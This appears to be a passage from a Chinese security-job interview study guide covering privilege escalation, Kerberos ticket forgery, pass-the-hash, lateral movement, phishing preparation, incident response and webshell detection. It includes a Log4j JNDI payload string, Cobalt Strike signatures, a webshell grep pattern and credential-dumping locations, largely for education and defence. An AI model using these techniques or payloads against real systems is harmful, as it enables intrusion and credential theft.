正向代理：当客户端无法访问外部资源的时候（谷歌、百度），可以通过一个正向代理去简洁的访问。正向代理就是处于客户端和原始服务器之间的服务器，为了从原始服务器转交请求并制定目标，客户端向代理发送请求并制定目标，然后代理向原始服务器转交请求并将获得的内容返回给客户端。

反向代理：反向代理正好相反。对于客户端来说，反向代理就好像目标服务器。并且客户端不需要进行任何设置。客户端向反向代理发送请求，接着反向代理判断请求走向何处，并将请求转交给客户端，使得这些内容就好似他自己一样，一次客户端并不会感知到反向代理后面的服务，也因此不需要客户端做任何设置，只需要把反向代理服务器当成真正的服务器就好了。

正向代理是代理客户端，为客户端收发请求，使真实客户端对服务器不可见；

而反向代理是代理服务器端，为服务器收发请求，使真实服务器对客户端不可见。

## 5、windows 常见的提权方法有哪些？

- 1)、系统内核溢出漏洞提权。
- 2)、数据库提权。
- 3)、错误的系统配置提权。
- 4)、web 中间件漏洞提权。
- 5)、第三方软件提权。

## 6、windows 常用的命令？

**type:** 显示文件类型

**dir:** 显示当前目录

**ipconfig:** 查看ip 地址

**net user :** 查看用户

**netstat:** 查看端口

**tasklist:** 查看进程列表

**find:** 文件中搜索字符串

**ping:** 检测网络连通情况

**regedit:** 注册表

## 7、Linux 常用的命令？

**cat :** 显示文件内容

**ls:** 列出当前目录的内容

**ifconfig:** 查看 IP 地址

**whoami:** 查看当前用户

**netstat:** 查看端口

**ps:** 查看进程列表

**grep:** 文件中搜索字符串

**ping:** 检测网站连接情况

**crontab:** 检查定时任务

## 8、内网怎么信息收集

1)、本机信息收集:

- ①、包括操作系统、权限、内网IP地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等
- ②、密码本、配置文件、浏览器保存的账号密码、hash等

2)、内网存活主机端口收集、是否存在域环境等。

## 9、Bash反弹shell的命令的执行原理

反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作，原因有很多，例如目标是局域网，或者开启防火墙的某些策略等情况，而这时，我们就可以让受害者主动向攻击者发起连接，被控端发起请求到控制端某端口，并将其命令行的输入输出转到控制端，从而实现交互。

## 10、正向连接和反向连接的区别

内外网区别，正向shell是攻击者处于内网，被攻击者处于公网；而反向shell是攻击者处于外网，被攻击者处于内网，且是被攻击主动连接攻击者。在实战中，正向连接往往受限于被控主机上的防火墙屏蔽及权限不足等情况，而反向连接可以很好地突破这些限制。

## 11、Msf的bind\_tcp与reserve\_tcp的区别

reserve\_tcp是基于TCP的反向连接，bind\_tcp是基于TCP的正向连接；正向连接是攻击机主动连接被攻击机，反向连接是被攻击机主动连接攻击机。

## 12、内网不出网应该正向代理还是反向代理

正向代理，因为正向连接是攻击机主动连接被攻击机，反向连接是被攻击机主动连接攻击机。

## 13、Udf提权原理，步骤

提权原理:

通过编写调用cmd或者shell的共享库文件（window为.dll，linux为.so），并且导入到一个指定的文件夹目录下，创建一个指向共享库文件的自定义函数，从而在数据库中的查询就等价于在cmd或者shell中执行命令。

步骤:

- 1) 攻击者编写一些可以调用cmd或者shell的共享库文件（window为.dll，linux为.so），将共享库导入指定的函数目录中。
- 2) 在MySQL中创建指向共享库文件的自定义函数。
- 3) 通过刚刚创建的函数执行系统命令，实现提权。

提权前提:

要有一个高权限的MySQL的账号，具有增删改查的权限以创建自定义函数，最好是root账号。

## 14、Xp\_cmdshell提权原理，步骤

原理：

xp\_cmdshell是sql server中的一个组件，xp\_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串，并以文本行方式返回任何输出。xp\_cmdshell能提权的原理是sql server支持堆叠查询方式，xp\_cmdshell可以执行cmd的指令，通过执行命令方式利用操作系统权限。

前提条件：

- 1)、拥有 DBA 权限，在 2005 中 xp\_cmdshell 的权限是 system，2008 中是 network。
- 2)、依赖 xplog70.dll

步骤：

- 1)、判断当前是否为DBA权限
- 2)、查看是否存在 xp\_cmdshell
- 3)、看能否使用 xp\_cmdshell，从MSSQL2005版本之后默认关闭，若没有开启，需要开启
- 4)、执行 xp\_cmdshell

## 15、Linux和windows提权

Linux提权

- 1)、内核漏洞提权
- 2)、利用SUID提权
- 3)、SUDO提权
- 4)、计划任务提权
- 5)、NFS提权

windows提权

- 1)、内核溢出漏洞提权
- 2)、Bypass UAC提权
- 3)、令牌窃取
- 4)、系统配置错误提权
- 5)、数据库提权
- 6)、组策略首选项提权

## 16、LM Hash和NTLM Hash的区别

LM (LAN Manager) Hash和NTLM (NT LAN Manager) Hash是windows操作系统中用于存储用户密码的两种哈希算法。它们之间的主要区别在于安全性和支持的功能，安全性方面NTLM Hash相对于LM Hash更难以破解，提供了更好的密码安全性；功能支持方面NTLM Hash相比LM Hash支持更多的功能和特性；总的来说，NTLM Hash相对于LM Hash具有更高的安全性和更多的功能支持，因此在现代windows系统中更常见和推荐使用。

安全性：

LM Hash (LAN Manager Hash) 是较旧的哈希算法，设计于windows NT之前的时代。它的安全性相对较低，因为它有以下几个主要缺点：

- 1)、将密码转换为大写，并且最多只能存储14个字符，这导致了较低的密码强度。
- 2)、分成两个7个字符的块，并且分别进行哈希计算，这导致了更容易被暴力破解。

NTLM Hash (NT LAN Manager Hash) 是后续引入的更安全的哈希算法。它克服了LM Hash的一些缺点，具有更高的安全性：

- 1)、支持更长的密码，并且不再将密码强制转换为大写。

2)、单独对密码进行哈希计算，而不是将密码分割为两个块。

功能支持:

NTLM Hash相比LM Hash支持更多的功能和特性。例如，它可以与更高级别的身份验证协议（如NTLMv2或Kerberos）配合使用，提供更强的安全性。

由于其较低的安全性和功能限制，LM Hash在现代Windows系统中已经逐渐被淘汰，而NTLM Hash则是更常见的密码哈希算法。

## 17、黄金白银票据的原理、区别、利用条件

黄金票据

原理:

是指攻击者获取了Kerberos域控制器上特权帐户（通常是KRBTGT帐户）的密码哈希，然后使用该密码哈希生成一个伪造的Ticket Granting Ticket（TGT）。黄金票据伪装成合法的TGT，具有域中任意时间的授权访问权限，允许攻击者伪造任意用户的身份和访问任意服务。攻击者可以使用黄金票据来获得对域中任意资源的完全控制。简单来说，黄金票据就是伪造的TGT，AS返回的票据，有了这个票据可以以域控的哈希访问任何服务。

利用条件:

- 1)、域名称
- 2)、域的SID值
- 3)、域的KRBTGT账户密码HASH
- 4)、伪造用户名，可以是任意的

白银票据

原理:

是指攻击者获取了合法用户的TGT（Ticket Granting Ticket）的信息，然后对TGT进行篡改以生成伪造的服务票据（TGS票据）。白银票据伪装成合法的TGS票据，用于访问特定的服务，但与黄金票据不同，白银票据只能访问被篡改的服务，无法获得对整个域的完全控制。简单来说：白银票据伪造的TGS返回的票据，这个票据只能访问某个指定服务。

利用条件:

- 1)、域名称
- 2)、域的SID值
- 3)、域中的Server服务器账户的NTLM-Hash
- 4)、伪造的用户名，可以是任意用户名。
- 5)、目标服务器上面的Kerberos服务

黄金票据和白银票据的区别:

1)、访问权限不同

Golden Ticket: 伪造TGT, 可以获取任何Kerberos服务权限。

Silver Ticket: 伪造TGS, 只能访问指定的服务。

2)、加密方式不同

Golden Ticket 由Kerberos的Hash-> krbtgt加密。

Silver Ticket 由服务器端密码的Hash值-> master key 加密。

3)、认证流程不同

Golden Ticket 的利用过程需要访问域控(KDC)。

Silver Ticket 可以直接跳过 KDC 直接访问对应的服务器。

## 18、ntlm中继攻击和哈希传递攻击的区别

NTLM中继攻击（NTLM Relay Attack）和哈希传递攻击（Pass-the-Hash Attack）是两种利用Windows身份验证协议中的漏洞进行攻击的方法，它们有一些本质上的区别：

NTLM中继攻击（NTLM Relay Attack）：

1）、NTLM中继攻击是一种网络中间人攻击技术，攻击者通过截获目标系统与其他系统之间的NTLM身份验证流量，并将其中继到自己控制的另一个系统上。然后，攻击者可以在中继系统上以被攻击系统的身份执行操作，甚至获取完全的系统访问权限。

2）、在NTLM中继攻击中，攻击者通常会利用目标系统上运行的服务的身份验证流量。例如，如果目标系统上运行着SMB（Server Message Block）服务，攻击者可以截获NTLM身份验证流量，并将其中继到另一台主机上，以获取对目标系统的控制权。

哈希传递攻击（Pass-the-Hash Attack）：

1）、哈希传递攻击是一种利用已经获取的哈希值（如NTLM哈希）而不是明文密码进行身份验证的攻击技术。攻击者通常不需要知道用户的明文密码，只需要截获或者获取到目标系统上的哈希值，并将其直接传递给其他系统进行身份验证。

2）、在哈希传递攻击中，攻击者不需要破解密码哈希，而是直接使用被截获的哈希值来进行身份验证。这使得攻击者能够绕过传统的密码破解防御措施，如密码复杂性策略和密码哈希的盐值。

在实践中，NTLM中继攻击和哈希传递攻击通常结合使用，特别是在攻击者能够截获NTLM身份验证流量并获得哈希值之后。攻击者可以利用中继攻击来获取哈希值，然后使用哈希传递攻击来利用这些哈希值访问其他系统或者提升权限。

## 19、进行hash传递的前提

Pass the hash也就是Hash传递攻击，简称为PTH。模拟用户登录不需要用户明文密码只需要hash值就可以直接来登录目标系统。利用前提条件是：

- 1）、开启445端口
- 2）、开启ipc\$共享

## 20、怎么识别域控

- 1）、ipconfig /all：查看主DNS后缀、DNS后缀搜索列表
- 2）、net time /domain
- 3）、systeminfo：域
- 4）、net config workstation：工作站域DNS名称

## 21、知道域控主机名之后怎么知道域控IP

- 1）、nslookup test.com
- 2）、nslookup -type=SRV \_ldap.\_tcp
- 3）、ping test.com

## 22、Linux和windows权限维持的一些方法

Linux:

- 1)、suid后门权限维持
- 2)、软连接
- 3)、公私钥
- 4)、passwd添加用户
- 5)、端口复用
- 6)、bash劫持后门
- 7)、计划任务

windows:

- 1)、辅助功能镜像劫持
- 2)、启动项/服务后门
- 3)、系统计划任务后门
- 4)、DLL劫持
- 5)、进程注入
- 6)、影子账号
- 7)、屏幕保护程序

## 23、域控的ntlm hash存储在哪里

windows机器基本都采用NTLM-Hash来存储用户密码，通常保存在SAM文件中，而域Hash保存在域控的NTDS.dit文件中，可以用mimikatz读取lsass进程获得已登录用户的密码hash，或者用注册表的形式导出SAM文件获得在本机存储的用户hash。

## 24、怎么获取ntlm hash

要在windows系统中抓取nt-hash或者明文，必须要system权限，想要破解sam文件与ntds.dit文件都需要拥有一个system文件(C:\windows\System32\config\SYSTEM)，使用 mimikatz获取ntlm hash

## 25、获取域控权限有哪些思路

- 1)、通过域控相关的漏洞
- 2)、通过域内的中继
- 3)、通过抓取域管登陆服务器的hash
- 4)、通过运维人员不恰当密码管理
- 5)、通过攻击Exchange服务器、DNS服务器、SCCM服务器、WSUS服务器等
- 6)、通过获取域控制器的localgroup中特权组成员的权限来获取域控权限
- 7)、通过域控运维堡垒机
- 8)、通过运维人员的个人主机
- 9)、通过与域控相关的web服务器

## 26、Ms14-068的原理和利用过程

MS14-068是一种名为Kerberos认证漏洞，该漏洞可以将普通域用户提升为域控权限，漏洞利用后net use \\IP\%c可以直接访问域控的网络资源。

原理:

1)、**Kerberos**协议简介: **Kerberos**是一种网络认证协议,用于在不安全的网络中安全地验证用户和服务之间的身份。它基于票证(**Ticket**)的概念,通过票证颁发机构(**Key Distribution Center, KDC**)颁发票证,允许用户访问网络服务而无需再次验证身份。

2)、票证伪造漏洞: **MS14-068**的漏洞源于在**Kerberos**协议的实现中的一个错误。攻击者可以在已经通过身份验证的用户票证中伪造自己的用户令牌,然后通过使用伪造的票证向服务请求访问,以提升其权限并获取对域控制器的控制权。

利用过程:

1)、获取有效用户票证: 攻击者首先需要获得一个有效的用户票证,通常可以通过各种方式获取,例如钓鱼攻击、针对域用户的其他攻击等。

2)、伪造票证: 利用已经获得的有效票证,攻击者修改票证中的用户令牌信息,将其伪装成其他用户的令牌,从而提升自己的权限。

3)、请求服务访问: 攻击者使用伪造的票证向目标服务发送请求,请求访问受保护的资源。由于票证已经被伪造,服务会错误地将请求认为是合法的,从而允许攻击者获取对资源的访问权限。

4)、提升权限: 一旦攻击者成功访问受保护的资源,他们可以利用这些访问权限来进一步提升其在域内的权限,最终可能导致对域控制器的控制。

利用条件:

1)、拿下一台加入域的机器并且具有管理员权限

2)、域控没有打**MS14-068**的补丁(**KB3011780**)

3)、有这台域内计算机的域用户密码和**sid**

## 27、kerberos端口

**TCP/UDP 88**: 用于**kerberos**认证协议的主要通信。在这个端口上,**kerberos**客户端和**kerberos**服务器(通常是域控制器上的**KDC, Key Distribution Center**)之间进行通信,包括身份验证请求和票证颁发。

## 28、横向移动方法

第一种: **IPC**横向

理解: **IPC(Internet Process Connection)**共享命名管道的资源,是为了实现进程间通信而开放的命名管道。**IPC**可以通过验证用户名和密码获得相应的权限,使用**139、445**端口。

利用条件:

1)、目标机开启了**139**和**445**端口;

2)、目标主机管理员开启了**ipc\$**默认共享;

3)、知道目标机的账户密码。

第二种: **WMI**横向

理解: **WMI**全称“**windows**管理规范”,从**win2003**开始一直存在。它原本的作用是方便管理员对**windows**主机进行管理。因此在内网渗透中,我们可以使用**WMI**进行横向移动。

利用条件:

1)、**WMI**服务开启,端口**135**,默认开启。

2)、防火墙允许**135、445**等端口通信。

3)、知道目标机的账户密码。

第三种: **smb**横向

理解: 利用**SMB**服务可以通过明文或**hash**传递来远程执行。

利用条件:

1)、**445**端口开放

2)、知道账号密码



#### 第四种：密码喷洒

#### 第五种：PTH-哈希传递

理解：PTH，即Pass The Hash，通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中，用户登录计算机时使用的大都是域账号，大量计算机在安装时会使用相同的本地管理员账号和密码。因此，如果计算机的本地管理员账号和密码也是相同的，攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。

利用条件：

1)、在工作组环境中：

Windows Vista 之前的机器，可以使用本地管理员组内用户进行攻击。

Windows Vista 之后的机器，只能是administrator用户的哈希值才能进行哈希传递攻击，其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击，会提示拒绝访问

2、在域环境中：

1)、只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击，攻击成功后，可以访问域内任何一台机器。

2)、如果要用普通域管理员账号进行哈希传递攻击，则需要修改修改目标机器的LocalAccountTokenFilterPolicy为1。

#### 第六种：PTK-mimikatz

理解：即Pass The Key，当系统安装了KB2871997补丁且禁用了NTLM的时候，那我们抓取到的ntlm hash.也就失去了作用，但是可以通过pass the key的攻击方式获得权限。

利用条件：

1)、获取用户的aes key

#### 第七种：PtT-票据传递 (ms14-068)

利用条件：

1)、域控没有打MS14-068的补丁(KB3011780)

2)、拿下一台加入域的计算机

3)、有这台域内计算机的域用户密码和Sid

#### 第八种：kerberoast攻击

理解：攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的，所以攻击者可以离线破解这个加密块，恢复帐户的明文密码。

#### 第九种：winRM横向

理解：winRM代表Windows远程管理，是一种允许管理员远程执行系统管理任务的服务。默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

利用条件：

1)、在win 2012之后(包括win 2012)的版本是默认开启的，win 2012之前利用需要手动开启winRM。

2)、防火墙对5986、5985端口开放。

# 代码审计

---

## 免杀

---

## 社工钓鱼

---

### 1、什么是钓鱼网站？

网络钓鱼攻击者利用欺骗性的电子邮件和伪造的 **web** 站点来进行诈骗活动，受骗者往往会泄露自己的财务数据，如信用卡号、帐户用户名和口令等内容。诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的站点，在所有接触诈骗信息的用户中，有高达 5%的人都会对这些骗局做出响应。

### 2、邮件钓鱼的准备工作有哪些？

钓鱼邮件，即一种伪造邮件，是指利用伪装的电子邮件，来欺骗收件人点击恶意 **URL**，或诱导收件人下载带恶意程序的可执行文件。

- 1)、确定邮件钓鱼的形式：链接、附件、二维码
- 2)、收集目标相关的邮箱
- 3)、编写钓鱼邮件文案
- 4)、服务器、域名购买，邮件服务、钓鱼站点搭建
- 5)、木马免杀测试
- 6)、隐藏反溯源

### 3、水坑攻击和鱼叉攻击的区别是什么？

- 1)、水坑攻击指的就是黑客通过分析被攻击者经常访问的网络活动规律，寻找被攻击者经常访问的网站的弱点，先攻击该网站植入攻击代码，等待被攻击者来访时实施攻击。
- 2)、鱼叉攻击是指利用木马程序作为电子邮件的附件，发送到目标电脑，诱导受害者去打开附件感染木马。

## 分析研判、应急响应

---

### 1、木马驻留系统的方式有哪些？

- 1)、注册表
- 2)、计划任务
- 3)、服务
- 4)、启动目录、临时目录
- 5)、关联文件类型

## 2、常用的威胁情报平台有哪些？

微步在线威胁情报中心、安恒威胁情报中心、奇安信威胁情报中心、绿盟威胁情报中心等。

## 3、常用的 webshell 检测工具有哪些？

- 1)、D盾
- 2)、河马webshell查杀
- 3)、百度webdir
- 4)、阿里云webshell检测平台

## 4、应急响应的基本思路是什么？（主机发生安全事件处置流程）

- 1)、准备工作，收集信息：收集告警信息、客户反馈信息、设备主机信息等。
- 2)、检测，判断类型：安全事件类型的判断（钓鱼邮件，webshell，爆破，勒索，挖矿等）。
- 3)、抑制，控制范围，隔离失陷设备。
- 4)、根除，分析研判，将收集的信息分析。
- 5)、恢复，处置事件类型（进程、文件、邮件、启动项，注册表等）。
- 6)、输出报告。

## 5、在项目上，漏洞扫描需要注意那些事项

- 1)、跟客户确认是否允许登录扫描、扫描并发连接数及线程数、是否允许暴力破解，什么时间段扫描
- 2)、通知客户备份一下数据，开启业务系统及网站运维监控，以免断机可及时恢复。

## 6、HW前期通常有哪些事情需要准备？

- 1)、前期比较重要的就是资产梳理、安全测试、整改加固、安全策略优化、安全意识培训等等  
资产梳理：主要协助客户对旗下资产进行梳理汇总  
安全测试：组织几次安全渗透测试可分为内外网渗透测试  
安全意识培训：宣讲钓鱼邮件防范，个人不使用弱密码，安装杀软等
- 2)、HW期间下线部分服务器，或者某段时间暂停对外开放服务。

## 7、HW中常见的安全设备有哪些？

入侵检测：IDS

入侵防御：IPS

流量威胁检测设备：腾讯御界、奇安信天眼、绿盟、深信服等

流量监测：科来

应用防火墙（WAF）：绿盟WAF、腾讯云WAF、深信服WAF、阿里云WAF等

蜜罐：默安蜜罐、知道创宇蜜罐等

防火墙：防火墙（玄武盾）、山石防火墙、360网康/网神防火墙

态势感知：绿盟态势感知、奇安信态势感知（目前部分金融客户对攻击IP封禁在态势感知系统上统一做封禁处理）

SOC：绿盟、奇安信

## 8、谈谈IDS和IPS是什么？有什么作用？

入侵检测：IDS，类似防火墙，主要用于入网流量检测

入侵防御：IPS，对杀软和防火墙的补充，阻止病毒攻击以及点到点应用滥用

## 9、态势感知、soc产品的功能

全流量收集、大数据分析、访问日志展示、攻击日志展示告警、资产管理、大屏展示、

脆弱性识别-弱口令-数据传输未加密-漏洞、

受害主机攻击汇总、内网横向攻击分析、

报表功能

## 10、EDR是什么？举例，作用？

EDR是终端检测与响应

360天擎、深信服EDR、亚信EDR

作用：通过云端的威胁情报、机器学习、异常行为分析等，主动发现安全威胁，自动化阻止攻击。

## 11、WAF产品如何来拦截攻击？

waf 产品有三种

#### 1)、云 waf

用户不需要在自己的网络中安装软件程序或部署硬件设备，就可以对网站实施安全防护，它的主要实现方式是利用 DNS 技术，通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测，如存在异常请求则进行拦截否则将请求转发至真实服务器

#### 2)、web 防护软件

安装在需要防护的服务器上，实现方式通常是 waf 监听端口或以 web 容器扩展方式进行请求检测和阻断

#### 3、硬件web防火墙

waf 串行部署在 web 服务器前端，用于检测、阻断异常流量。常规硬件 waf 的实现方式是通过代理技术代理来自外部的流量

## 12、WAF有哪些防护方式？

#### 1)、web基础防护

可防范常规的 web 应用攻击，如 SQL 注入攻击、XSS 跨站攻击等，可检测 webshell，检查 HTTP 上传通道中的网页木马，打开开关即实时生效。

#### 2)、CC 攻击防护

可根据 IP、Cookie 或者 Referer 字段名设置灵活的限速策略，有效缓解 CC 攻击。

#### 3)、精准访问防护

对常见 HTTP 字段进行条件组合，支持定制化防护策略如CSRF防护，通过自定义规则的配置，更精准的识别恶意伪造请求、保护网站敏感信息、提高防护精准性。

#### 4)、IP 黑白名单

添加终拦截与始终放行的黑白名单 IP，增加防御准确性。

#### 5)、网页防篡改

对网站的静态网页进行缓存配置，当用户访问时返回给用户缓存的正常页面，并随机检测网页是否被篡改。

## 13、根据设备告警（WEB）如何分析流量

1)、下载告警pcap数据包，根据告警提示攻击类型，过滤payload信息，定位流量。

2)、判断是否攻击成功，需具体分析攻击请求响应内容或使用其payload进行攻击测试等。

3)、最终可根据流量分析给出判定类型：扫描、攻击尝试、攻击成功、攻击失败。

## 14、web中间件加固：tomcat、apache、iis有哪些加固点

web中间件：更改默认端口、低权限运维、降权网站根目录、自定义错误页面、删除自带网页

## 15、windows和linux加固？（操作系统加固）

**windows:** 删除无用账号、禁用来宾账号、设置密码复杂度、关闭默认共享、关闭自启。

**linux:** 删除无用账号、配置密码策略（复杂度、过期时间）、限制su命令使用、限制ssh远程登陆root、减少命令记录数（.bash\_history）、升级内核版本。

## 16、mysql加固呢？（数据库加固）

**mysql:** 使用低权限用户配置网站、启用mysql日志记录、禁用文件导入导出

**sql server:** 使用低权限用户配置网站、关闭xp-cmdshell功能

## 17、根据设备告警（内网）如何展开排查

- 1)、定位主要扫描、攻击机器
- 2)、根据业务情况，进行隔离处理
- 3)、排查主要扫描、攻击机器正在执行进程、历史命令，定位攻击者扫描工具、扫描结果等
- 4)、提取攻击者操作信息、攻击样本后，清理查杀攻击者后门、工具等
- 5)、根据攻击者扫描结果，对存在的漏洞展开修补工作
- 6)、分析主要扫描、攻击机器如何沦陷，溯源攻击链，展开攻击链修补工作

## 18、JAVA内存马如何排查？

如何查杀：

使用工具进行检测查杀

如何排查：

- 1)、如果是jsp注入，日志中排查可疑jsp的访问请求。
- 2)、如果是代码执行漏洞，排查中间件的error.log，查看是否有可疑的报错，判断注入时间和方法。
- 3)、根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell，排查框架漏洞，反序列化漏洞。
- 4)、如果是servlet或者spring的controller类型，根据上报的webshell的url查找日志（日志可能被关闭，不一定有），根据url最早访问时间确定被注入时间。
- 5)、如果是filter或者listener类型，可能会有较多的404但是带有参数的请求，或者大量请求不同url但带有相同的参数，或者页面并不存在但返回200。

## 19、php内存马如何排查？

如何查杀：

使用工具进行检测查杀

如何排查：

- 1)、php不死马也就是内存马，排查就两点：检测执行文件是否在文件系统真实存在；确认攻击后去重启服务消除内存执行。

## 20、aspx内存马如何排查？

如何查杀：

使用工具进行检测查杀

如何排查：

github有人写了一个排查的aspx脚本，放到网站目录下访问，会返回内存中filter（过滤器0列表，排查未知、可疑），检测执行文件是否在文件系统真实存在的就行。

## 21、发现一条攻击告警如何判断是否为真实有效攻击事件思路？

分析请求、响应内容，判断是否攻击成功；

首先看告警事件名称判断是网络攻击事件还是web攻击事件，

网络攻击事件：定位五元组信息（源IP、目的IP、源端口、目的端口、协议），对整个僵尸、木马、蠕虫传播链进行分析，以攻击IP作为受害IP进行检索查找攻击源，

WEB攻击事件：通过数据包的请求体、响应体、状态码等。

## 22、安全设备出现误报怎么办？

可以对事件进行分析，如果确认不构成实际危害（通常体现在部分web低危攻击事件）考虑对事件进行加白，如不能加白（通常体现在内网僵尸网络、木马事件、蠕虫等等）需要对安全事件进行更细致的分析，定位问题发生点。

## 23、如何区分扫描流量和手动攻击流量

扫描数据量大，请求有规律

手动攻击流量数据量较少，攻击流量大多和业务关联性较大

## 24、如何分析被代理出来的数据流

分析数据包请求头中的 xff、referer、UA 等收集有用的信息，基于网络欺骗与浏览器指纹的WEB攻击溯源。

## 25、在攻击队变更攻击IP的情况下，如何在流量中找到该攻击者的所有攻击IP

cookie、ua、session、被利用账号ID等用户特征

## 26、如何判断DNS和ICMP（隧道）信道？

dns流量的txt记录比例异常：正常的DNS网络流量中，TXT记录的比例可能只有1%-2%，如果时间窗口内，TXT或者A记录的比例激增，就可能存在异常。

同来源的ICMP数据包量异常：一个正常的ping命令每秒最多发送两个数据包，而使用ICMP隧道则会在很短时间内产生上千个ICMP数据包，可以检测同来源的ICMP数据包的数量。

## 27、常见web日志组成格式？

```
58.61.164.141 - - [22/Feb/2010:09:51:46 +0800] "GET / HTTP/1.1" 206 6326 "  
http://www.google.cn/search?q=webdataanalysis" "Mozilla/4.0 (compatible; MSIE 6.0;  
Windows NT 5.1)"
```

ip、时间、请求类型、请求url、响应状态、响应大小、UA头

## 28、CS shellcode 特征

- 1)、RWX（可读可写可执行）权限的内存空间。
- 2)、异或密钥固定，3.x 是 0x69，4.x 是 0x2e。
- 3)、命名管道名称字符串

```
\\\\.\\pipe\\MSSE-1676-server  
%c%c%c%c%c%c%c%MSSE-%d-sever
```

## 29、Log4j rce漏洞有了解过？攻击特征是什么？

log4j 是 javaweb 的日志组件，用来记录 web 日志，特征是\${jndi:ldap://url}，去指定下载文件的 url 在搜索框或者搜索的 url 里面，加上 \${jndi:ldap://127.0.0.1/test}，log4j 会对这串代码进行表达式解析，给 lookup 传递一个恶意的参数指定，参数指的是比如 ldap 不存在的资源 \$ 是会被直接执行的。后面再去指定下载文件的 url，去下载我们的恶意文件。比如是 x.class 下载完成后，并且会执行代码块。

修复：升级 Log4j 到最新版本，根据业务判断是否关闭 lookup

## 30、新出的office word msdt 漏洞原理？

从word使用URL协议调用MSDT（微软支持诊断工具），可执行远程网页脚本内容，下载或运行任意命令、程序。无论是否禁用宏，只要打开word就会中招，但无法正常查看doc内容

## 31、如何区分菜刀、蚁剑、冰蝎、哥斯拉WENSHELL特征？

菜刀：

- 1)、webshell 为一句活木马。
- 2)、ua 头为百度爬虫。
- 3)、请求体中存在 eavl, base64。
- 4)、响应为明文，格式为 X@Y +内容 + X@Y。

蚁剑：

- 1)、webshell 同样有 eavl, base64。
- 2)、ua 头为蚁剑工具。
- 3)、请求体中存在 @ini\_set。
- 4)、响应为明文，格式为 随机数+结果 +随机数。

冰蝎：

- 1)、webshell 同样有 eavl, base64
- 2)、webshell 中有 md5(密码)前16位
- 3)、2.0 有一次GET请求返回16位的密钥



哥斯拉：

- 1)、webshe11 同样有 eav1, base64
- 2)、请求为pass=
- 3)、在响应包的cache-control字段中有no-store, no-cache等特征。
- 4)、所有请求中的cookie字段最后面都存在：特征。

## 32、简单说下服务器被上传webshell处置思路是什么？

- 1)、及时隔离主机。
- 2)、使用webshe11查杀工具定位webshe11（Linux服务器使用find命令查找），对webshe11进行取样，结合web日志分析。
- 3)、清除webshe11及残留文件。
- 4)、结合webshe11日志，找出攻击者利用的漏洞，修复该漏洞。

## 33、讲一下windows机器被攻陷排查思路？

- 1)、检查系统账号安全。
- 2)、检查异常端口、进程。
- 3)、检查启动项、计划任务、服务。
- 4)、日志分析。

## 34、Windows被创建影子用户怎么办？

- 1)、可以通过控制面板管理账户查看
- 2)、注册表中查看是否存在影子账户：HEKY\_LOCAL\_MACHINE\SAM\SAM\Domains\Account\User

## 35、windows端口进程间怎么关联查找

`netstat -ano | findstr "port" //查看目前的网络连接，定位可疑的 ESTABLISHED`

根据netstat定位出的 pid，再通过tasklist命令进行进程定位`tasklist | findstr "PID"`

## 36、windows怎么查看进程对应的程序位置

通过进程id定位可疑样本：`wmic process where processid=3132 get executablepath`

通过进程名称定位可疑样本：`wmic process where name="Typora.exe" get executablepath`

## 37、查看windows进程的方法

第一种：

开始 -- 运行 -- 输入msinfo32 命令，依次点击 "软件环境 -- 正在运行任务" 就可以查看到进程的详细信息，比如进程路径、进程ID、文件创建日期以及启动时间等。

第二种：

打开D盾\_web查杀工具，进程查看，关注没有签名信息的进程。

第三种：

通过微软官方提供的 **Process Explorer** 等工具进行排查。

查看可疑的进程及其子进程。可以通过观察以下内容：

- 1)、没有签名验证信息的进程。
- 2)、没有描述信息的进程。
- 3)、进程的属主。
- 4)、进程的路径是否合法。
- 5)、CPU 或内存资源占用长时间过高的进程。

## 38、Windows日志存放位置？

在System32的Logs目录下

系统日志：%SystemRoot%\System32\winevt\Logs\System.evtx

应用程序日志：%SystemRoot%\System32\winevt\Logs\Application.evtx

安全日志：%SystemRoot%\System32\winevt\Logs\Security.evtx

## 39、windows日志分析工具有哪些

Log Parser、LogParser Lizard、Event Log Explorer、360星图

## 40、遇到日志文件量大的时候怎么去分析？

- 1)、攻击规则匹配通过正则匹配日志中的攻击请求。
- 2)、统计方法，统计请求出现次数，次数少于同类请求平均次数则为异常请求。
- 3)、白名单模式，为正常请求建立白名单，不在名单范围内则为异常请求。
- 4)、HMM 模型，类似于白名单，不同点在于可对正常请求自动化建立模型，从而通过正常模型找出不匹配者则为异常请求。
- 5)、使用日志分析工具，如LogForensics, Graylog, Nagios, ELK Stack等等。

## 41、讲一下Linux机器被攻陷排查思路？

- 1)、账号排查（/etc/passwd存储用户信息、/etc/shadow存储用户密码信息）
- 2)、历史命令查看：.bash\_history
- 3)、检查异常进程：ps aux | grep pid
- 4)、检查开机启动项：/etc/rc.local
- 5)、查看定时任务：crontab -l
- 6)、检查网站目录下是否存在可疑文件：  
find /var/www/html -name "\*.php" | xargs egrep 'assert|eval|phpinfo\(\)|\  
(base64\_decode|code|shell\_exec|passthru|file\_put\_contents\(\.\\\*\\$|base64\_decode\(' (回  
答出前面的find命令结构即可)

## 42、Linux日志存放位置？

日志默认存放位置：/var/log/

查看日志配置情况：more /etc/rsyslog.conf

## 43、一台主机在内网进行横向攻击，怎么处理？

确定攻击来源，是不是员工内部误操作，比如询问运维是否有自动化轮训脚本。

如果没有，确定是攻击，结合时间点，根据设备信息，看一下安全事件，进程，流量。

找到问题主机，开始应急响应流程：准备、检测、遏制、根除、恢复、跟踪，具体的操作要交给现场运维去处理。

## 44、HW期间发现在野0day利用怎么处置？

- 1)、首先确认0day影响产品，危害程度
- 2)、下线应用
- 3)、排查应用日志查找是否有攻击请求
- 4)、更新官方发布的最新补丁或者升级版本

## 45、如何发现钓鱼邮件

邮件系统异常登录告警、员工上报、异常行为告警、邮件蜜饵告警。

推荐接入微步或奇安信的情报数据。

对邮件内容出现的 URL 做扫描，可以发现大量的异常链接。

